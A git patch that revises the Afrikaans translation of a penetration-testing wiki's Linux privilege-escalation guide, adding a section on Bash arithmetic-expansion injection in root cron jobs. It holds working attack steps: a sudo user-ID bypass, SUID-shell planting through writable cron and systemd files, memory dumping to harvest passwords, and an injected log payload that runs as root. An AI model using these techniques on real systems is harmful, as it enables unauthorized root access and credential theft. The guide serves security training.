From 284442c43a9dc0a995b4a8e576edc237cc5187ec Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 16:55:33 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a --- .../privilege-escalation/README.md | 560 +++++++++--------- .../pentesting-web/spring-actuators.md | 113 +++- 2 files changed, 387 insertions(+), 286 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index aa2775134..9f8375bfa 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Stelsel Inligting +## Stelselinligting ### OS-inligting -Kom ons begin om inligting oor die OS wat aan die gang is te versamel +Kom ons begin om meer te wete te kom oor die OS wat loop ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -As jy **skryfregte op enige gids binne die `PATH`** veranderlike het, kan jy dalk sekere libraries of binaries hijack: +As jy **skryfregtighede het op enige vouer binne die `PATH`** variabele, kan jy dalk sekere libraries of binaries hijack: ```bash echo $PATH ``` -### Env info +### Omgewingsinligting -Is daar interessante inligting, wagwoorde of API keys in die environment variables? +Interessante inligting, wagwoorde of API keys in die omgewingsveranderlikes? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Kontroleer die kernel-weergawe en kyk of daar 'n exploit is wat gebruik kan word to escalate privileges +Kontroleer die kernel-weergawe en kyk of daar 'n exploit is wat gebruik kan word om privileges te escalate ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Jy kan 'n goeie lys van kwesbare kernel-weergawes en sommige reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Ander webwerwe waar jy sommige **compiled exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Jy kan 'n goeie lys van kwesbare kernelweergawes en 'n paar reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Ander webtuistes waar jy sommige **compiled exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Om al die kwesbare kernel-weergawes van daardie web te onttrek, kan jy: +Om al die kwesbare kernelweergawes vanaf daardie web te onttrek kan jy doen: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Gereedskap wat kan help om vir kernel exploits te soek, is: +Gereedskap wat kan help om na kernel exploits te soek, is: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer IN victim uit, kontroleer slegs exploits vir kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer op die slagoffer uit; kontroleer slegs exploits vir kernel 2.x) -Soek altyd **die kernel-weergawe op Google**, moontlik is jou kernel-weergawe in 'n kernel exploit vermeld en sal jy dan seker wees dat hierdie exploit geldig is. +Soek altyd **die kernel-weergawe op Google**, dalk is jou kernel-weergawe in 'n kernel exploit vermeld en dan sal jy seker wees dat hierdie exploit geldig is. ### CVE-2016-5195 (DirtyCow) @@ -57,7 +57,7 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo-weergawe +### Sudo version Gebaseer op die kwesbare sudo-weergawes wat verskyn in: ```bash @@ -73,20 +73,20 @@ Van @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: handtekeningverifikasie het misluk +### Dmesg handtekeningverifikasie het gefaal -Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie vuln uitgebuit kon word +Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie vuln uitgebuit kan word ```bash dmesg 2>/dev/null | grep "signature" ``` -### Meer stelselondersoek +### Meer system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Som moontlike verdedigings op +## Som moontlike verdedigingstegnieke ### AppArmor ```bash @@ -123,15 +123,16 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -As jy binne 'n docker container is, kan jy probeer daaruit ontsnap: +As jy binne 'n docker container is, kan jy probeer om daaruit te ontsnap: + {{#ref}} docker-security/ {{#endref}} -## Skywe +## Drives -Kontroleer **wat mounted en unmounted is**, waar en waarom. As iets unmounted is, kan jy probeer om dit te mount en kyk vir privaat inligting. +Kontroleer **wat gemonteer en ongemonteer is**, waar en waarom. As iets ongemonteer is, kan jy probeer om dit te monteer en kyk vir privaat inligting ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,56 +145,56 @@ Lys nuttige binaries ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Kontroleer ook of **any compiler is installed**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit in die machine te compile waar jy dit gaan gebruik (of in een soortgelyk). +Kyk ook of **any compiler is installed**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien waarop jy dit gaan gebruik (of op 'n soortgelyke) te compile. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Kwetsbare sagteware geïnstalleer -Kontroleer die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ouer Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word vir escalating privileges…\ -Dit word aanbeveel om die weergawe van die meer verdagte geïnstalleerde sagteware handmatig te kontroleer. +Kontroleer die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ou Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word vir escalating privileges…\ +Dit word aanbeveel om handmatig die weergawe van die meer verdagte geïnstalleerde sagteware na te gaan. ```bash dpkg -l #Debian rpm -qa #Centos ``` -As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om na verouderde en kwesbare sagteware wat op die masjien geïnstalleer is te kyk. +As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om verouderde en kwesbare sagteware wat op die masjien geïnstalleer is, na te gaan. -> [!NOTE] > _Let wel dat hierdie opdragte baie inligting sal wys wat meestal nutteloos sal wees; daarom word aanbeveel om toepassings soos OpenVAS of soortgelyke te gebruik wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_ +> [!NOTE] > _Neem asseblief kennis dat hierdie kommando's baie inligting sal vertoon wat meestal nutteloos sal wees; daarom word dit aanbeveel om toepassings soos OpenVAS of soortgelyke te gebruik wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_ -## Prosesse +## Processes -Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer voorregte het as wat dit behoort te hê** (miskien 'n tomcat wat deur root uitgevoer word?) +Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer voorregte het as wat dit behoort te hê** (dalk 'n tomcat wat deur root uitgevoer word?) ```bash ps aux ps -ef top -n 1 ``` -Kontroleer altyd vir moontlike [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** identifiseer dit deur die `--inspect` parameter in die opdragreël van die proses te kontroleer.\ -Kontroleer ook jou voorregte oor die proses-binaries; dalk kan jy iemand se lêer oorskryf. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Kontroleer ook jou privileges oor die proses se binaries, dalk kan jy iemand oorskryf. -### Prosesmonitering +### Process monitoring -Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer ’n stel vereistes voldaan is. +Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer 'n stel vereistes vervul is. -### Prosesgeheue +### Process memory -Sommige dienste van ’n bediener stoor **credentials in clear text inside the memory**.\ -Normaalweg sal jy **root privileges** nodig hê om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.\ -Onthou egter dat **as 'n gewone gebruiker kan jy die geheue van die prosesse wat jy besit, lees**. +Sommige dienste op 'n bediener stoor **inlogbewyse in duidelike teks binne die geheue**.\ +Normaalweg sal jy **root privileges** nodig hê om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer inlogbewyse wil ontdek.\ +Onthou egter dat **as 'n gewone gebruiker jy die geheue van die prosesse wat jy besit kan lees**. > [!WARNING] -> Let wel dat deesdae die meeste masjiene **don't allow ptrace by default**, wat beteken dat jy nie ander prosesse wat aan jou gebruiker sonder voorregte behoort kan dump nie. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug word, solank hulle dieselfde uid het. Dit is die klassieke wyse waarop ptracing gewerk het. -> - **kernel.yama.ptrace_scope = 1**: slegs 'n ouer proses kan gedebug word. -> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE bevoegdheid vereis. -> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is 'n herbegin benodig om ptracing weer moontlik te maak. +> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug word, solank hulle dieselfde uid het. Dit is die klassieke wyse waarop ptrace gewerk het. +> - **kernel.yama.ptrace_scope = 1**: slegs 'n ouerproses kan gedebug word. +> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE capability vereis. +> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is 'n herbegin nodig om ptrace weer moontlik te maak. #### GDB -As jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en daarin soek na sy credentials. +As jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en daarin soek na sy inlogbewyse. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Vir 'n gegewe proses-ID wys **maps hoe geheue binne daardie proses se** virtuele adresruimte gemap is; dit wys ook die **toestemmings van elke gemapte gebied**. Die **mem** pseudo-lêer **blootstel die proses se geheue self**. Uit die **maps**-lêer weet ons watter **geheuegebiede leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem-lêer te soek en alle leesbare gebiede** na 'n lêer uit te voer. +Vir 'n gegewe proses-ID, **maps wys hoe geheue binne daardie proses se** virtuele adresruimte gekarteer is; dit wys ook die **toegangsregte van elke gemapte gebied**. Die **mem** pseudo-lêer **maak die proses se geheue self sigbaar**. Uit die **maps** lêer weet ons watter **geheuegebiede leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem-lêer te seek en alle leesbare gebiede na 'n lêer te dump**. ```bash procdump() ( @@ -230,14 +231,15 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte is toeganklik via /dev/kmem.\ -Tipies is `/dev/mem` slegs leesbaar deur **root** en die **kmem** groep. +`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan met /dev/kmem benader word.\ + +Tipies is `/dev/mem` slegs leesbaar deur **root** en die kmem-groep. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump vir linux -ProcDump is 'n Linux-herinterpretasie van die klassieke ProcDump-gereedskap uit die Sysinternals-suite vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump is 'n Linux-herontwerp van die klassieke ProcDump-hulpmiddel uit die Sysinternals-suite vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,29 +268,29 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Gereedskap -Om 'n prosesgeheue te dump, kan jy gebruik: +Om process memory te dump kan jy die volgende gebruik: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig die root-vereistes verwyder en die proses wat aan jou behoort dump -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word vereis) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan manueel die root-vereistes verwyder en die proses wat aan jou behoort dump +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is vereis) -### Kredensiële uit prosesgeheue +### Inlogbewyse uit Process Memory #### Handmatige voorbeeld -As jy vind dat die authenticator-proses aan die gang is: +As jy vind dat die authenticator process aan die gang is: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Jy kan die process dump (sien vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en soek na credentials binne die memory: +Jy kan die process dump (sien vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en soek na credentials in die memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Die tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **duidelike-tekst aanmeldbewyse uit geheue** en uit sommige **bekende lêers** steel. Dit vereis root-bevoegdhede om behoorlik te werk. +Die tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **steal clear text credentials from memory** en vanaf sommige **well known files**. Dit vereis root privileges om behoorlik te werk. | Funksie | Prosesnaam | | ------------------------------------------------- | -------------------- | @@ -299,7 +301,7 @@ Die tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/hu | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Soek Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,9 +315,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Geskeduleerde/Cron jobs +## Geplande/Cron jobs -Kontroleer of enige geskeduleerde job kwesbaar is. Miskien kan jy voordeel trek uit 'n script wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die gids wat root gebruik?). +Kontroleer of enige geplande job kwesbaar is. Miskien kan jy voordeel trek uit 'n script wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die gids wat root gebruik?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -323,12 +325,12 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron path -Byvoorbeeld, in _/etc/crontab_ kan jy die PATH vind: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Byvoorbeeld, binne _/etc/crontab_ kan jy die PATH vind: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Let wel hoe die gebruiker "user" skryfregte oor /home/user het_) +(_Let op hoe die gebruiker "user" skryfregte oor /home/user het_) -As in hierdie crontab die root-gebruiker probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\ -Dan kan jy 'n root shell kry deur die volgende te gebruik: +As binne hierdie crontab die root user probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\ +Dan kan jy 'n root shell kry deur te gebruik: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -336,11 +338,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron wat 'n script met 'n wildcard gebruik (Wildcard Injection) -As 'n script wat deur root uitgevoer word 'n “**\***” in 'n opdrag bevat, kan jy dit uitbuit om onvoorsiene dinge te veroorsaak (soos privesc). Voorbeeld: +As 'n script deur root uitgevoer word en 'n “**\***” in 'n opdrag voorkom, kan jy dit uitbuit om onverwagte dinge te doen (soos privesc). Voorbeeld: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**As die wildcard voorafgegaan word deur 'n pad soos** _**/some/path/\***_ **, is dit nie kwesbaar nie (selfs** _**./\***_ **is nie).** +**As die wildcard voorafgegaan word deur 'n pad soos** _**/some/path/\***_ **, is dit nie kwesbaar nie (selfs** _**./\***_ **nie).** Lees die volgende bladsy vir meer wildcard exploitation tricks: @@ -349,23 +351,45 @@ Lees die volgende bladsy vir meer wildcard exploitation tricks: wildcards-spare-tricks.md {{#endref}} -### Cron script overwriting and symlink -As jy **'n cron script kan wysig** wat deur root uitgevoer word, kan jy baie maklik 'n shell kry: +### Bash arithmetic expansion injection in cron log parsers + +Bash voer parameter expansion en command substitution uit voordat arithmetic evaluation in ((...)), $((...)) en let plaasvind. As 'n root cron/parser ontrusted log fields lees en dit in 'n arithmetic context ingestuur word, kan 'n attacker 'n command substitution $(...) injekteer wat as root uitgevoer word wanneer die cron loop. + +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. + +- Typical vulnerable pattern: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid. +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + +### Cron script overwriting and symlink ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -As die script wat deur root uitgevoer word 'n **directory where you have full access** gebruik, kan dit dalk nuttig wees om daardie folder te verwyder en **create a symlink folder to another one** wat 'n script bedien wat deur jou beheer word. +As die script wat deur root uitgevoer word 'n **directory waar jy full access het** gebruik, kan dit dalk nuttig wees om daardie folder te verwyder en **create a symlink folder to another one** wat 'n script wat deur jou beheer word, bedien. ```bash ln -d -s ``` ### Gereelde cron jobs -Jy kan prosesse monitor om prosesse te soek wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy dit benut en voorregte eskaleer. +Jy kan die prosesse monitor om prosesse te soek wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy dit uitbuit en escalate privileges. -Byvoorbeeld, om **elke 0.1s vir 1 minuut te moniteer**, **op die minste uitgevoerde kommando's te sorteer** en die kommando's wat die meeste uitgevoer is te verwyder, kan jy: +Byvoorbeeld, om **monitor elke 0.1s gedurende 1 minuut**, **sorteer volgens die minste uitgevoerde kommando's** en verwyder die kommando's wat die meeste uitgevoer is, kan jy: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -373,7 +397,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Onsigbare cron jobs -Dit is moontlik om 'n cronjob te skep **deur 'n carriage return ná 'n kommentaar te plaas** (sonder 'n newline-karakter), en die cronjob sal werk. Voorbeeld (let op die carriage return karakter): +Dit is moontlik om 'n cronjob te skep deur 'n **carriage return na 'n kommentaar te plaas** (sonder newline character), en die cron job sal werk. Voorbeeld (let op die carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -381,91 +405,91 @@ Dit is moontlik om 'n cronjob te skep **deur 'n carriage return ná 'n kommentaa ### Skryfbare _.service_ lêers -Kyk of jy enige `.service` lêer kan skryf; as jy dit kan, **kan jy dit wysig** sodat dit **jou backdoor uitvoer wanneer** die diens **gestart**, **herbegin** of **gestop** word (miskien moet jy wag totdat die masjien herbegin).\ -Byvoorbeeld, skep jou backdoor binne die .service lêer met **`ExecStart=/tmp/script.sh`** +Kontroleer of jy enige `.service` lêer kan skryf, as jy dit kan, kan jy dit **wysig** sodat dit jou **backdoor wanneer** die service **begin**, **herbegin** of **gestop** word (jy mag moontlik moet wag totdat die masjien herbegin).\ +Byvoorbeeld skep jou backdoor binne die .service lêer met **`ExecStart=/tmp/script.sh`** ### Skryfbare service binaries -Hou in gedagte dat as jy **write permissions over binaries being executed by services**, jy hulle kan verander na backdoors sodat wanneer die dienste weer uitgevoer word die backdoors uitgevoer sal word. +Hou in gedagte dat as jy **skryfregte oor binaries wat deur services uitgevoer word** het, jy hulle kan verander met backdoors sodat wanneer die services weer uitgevoer word die backdoors uitgevoer sal word. -### systemd PATH - Relatiewe Paaie +### systemd PATH - Relatiewe paaie -Jy kan die PATH wat deur **systemd** gebruik word sien met: +Jy kan die deur **systemd** gebruikte PATH sien met: ```bash systemctl show-environment ``` -As jy vind dat jy in enige van die gidse van die pad kan **skryf**, mag jy moontlik in staat wees om **escalate privileges**. Jy moet soek na **relatiewe paaie wat in service-konfigurasielêers gebruik word** soos: +As jy ontdek dat jy in enige van die vouers van die pad kan **skryf**, mag jy in staat wees om **escalate privileges**. Jy moet soek na **relatiewe paaie wat in service-konfigurasielêers gebruik word** soos: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Skep dan 'n **uitvoerbare lêer** met die **dieselfde naam as die relatiewe pad binary** binne die systemd PATH-gids waarop jy kan skryf, en wanneer die service versoek word om die kwesbare aksie (**Start**, **Stop**, **Reload**) uit te voer, sal jou **backdoor** uitgevoer word (onbevoorregte gebruikers kan gewoonlik nie services start/stop nie, maar kyk of jy `sudo -l` kan gebruik). +Skep dan 'n **executable** met dieselfde naam as die relatiewe pad binary binne die systemd PATH-gids wat jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie uit te voer (**Start**, **Stop**, **Reload**), sal jou **backdoor** uitgevoer word (nie-geprivilegieerde gebruikers kan gewoonlik nie dienste begin/stop nie, maar kyk of jy `sudo -l` kan gebruik). -**Leer meer oor services met `man systemd.service`.** +**Leer meer oor dienste met `man systemd.service`.** ## **Timers** -**Timers** is systemd unit-lêers waarvan die naam eindig in `**.timer**` wat `**.service**`-lêers of gebeurtenisse beheer. **Timers** kan gebruik word as 'n alternatief vir cron aangesien hulle ingeboude ondersteuning vir kalender-tydgebeurtenisse en monotonic-tydgebeurtenisse het en asynchroon uitgevoer kan word. +**Timers** is systemd unit files waarvan die naam eindig op `**.timer**` wat `**.service**`-lêers of gebeure beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender-tydgebeure en monotoniese tydgebeure en asinkroon uitgevoer kan word. -Jy kan al die timers lys met: +Jy kan al die timers opnoem met: ```bash systemctl list-timers --all ``` ### Skryfbare timers -As jy 'n timer kan wysig, kan jy dit laat uitvoer as 'n bestaande systemd.unit (soos 'n `.service` of 'n `.target`) +As jy 'n timer kan wysig, kan jy sekere bestaande instansies van systemd.unit laat uitvoer (soos 'n `.service` of 'n `.target`). ```bash Unit=backdoor.service ``` In die dokumentasie kan jy lees wat die Unit is: -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +> Die unit wat geaktiveer word wanneer hierdie timer verstryk. Die argument is 'n unit-naam, waarvan die suffix nie ".timer" is nie. As dit nie gespesifiseer is nie, is hierdie waarde standaard 'n service wat dieselfde naam as die timer unit het, behalwe vir die suffix. (Sien hierbo.) Dit word aanbeveel dat die unit-naam wat geaktiveer word en die unit-naam van die timer unit identies genoem word, behalwe vir die suffix. -Therefore, to abuse this permission you would need to: +Daarom, om hierdie permissie te misbruik sal jy moet: -- Vind 'n systemd unit (soos 'n `.service`) wat 'n **uitvoerbare lêer uitvoer wat skryfbaar is** -- Vind 'n systemd unit wat 'n **relatiewe pad uitvoer** en jy het **skryfprivileges** oor die **systemd PATH** (om daardie uitvoerbare lêer te namaak) +- Vind 'n systemd unit (soos 'n `.service`) wat 'n **skryfbare binary uitvoer** +- Vind 'n systemd unit wat 'n **relatiewe pad uitvoer** en jy het **skryfbevoegdhede** oor die **systemd PATH** (om daardie executable te imiteer) -**Leer meer oor timers met `man systemd.timer`.** +**Learn more about timers with `man systemd.timer`.** -### **Timer aktiveer** +### **Timer inskakel** -Om 'n timer te aktiveer benodig jy root-bevoegdhede en om uit te voer: +Om 'n timer in te skakel benodig jy root privileges en jy moet die volgende uitvoer: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Let daarop dat die **timer** geaktiveer word deur 'n symlink na dit te skep op `/etc/systemd/system/.wants/.timer` +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) skakel in vir **proseskommunikasie** op dieselfde of verskillende masjiene binne kliënt-bedienermodelle. Hulle maak gebruik van standaard Unix-beskrywerlêers vir inter-rekenaarkommunikasie en word opgestel deur `.socket`-lêers. +Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -Sockets kan gekonfigureer word met `.socket`-lêers. +Sockets can be configured using `.socket` files. -**Leer meer oor sockets met `man systemd.socket`.** In hierdie lêer kan verskeie interessante parameters gekonfigureer word: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar 'n samevatting word gebruik om **aan te dui waarheen daar gaan geluister word** na die socket (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.) -- `Accept`: Neem 'n boolean-argument. As dit **true** is, word 'n **service-instansie geskep vir elke inkomende verbinding** en slegs die verbindingsocket word daaraan deurgegee. As dit **false** is, word alle luister-sockets self **aan die gestarte service unit deurgegee**, en slegs een service unit word geskep vir alle verbindings. Hierdie waarde word geignoreer vir datagram-sockets en FIFOs waar 'n 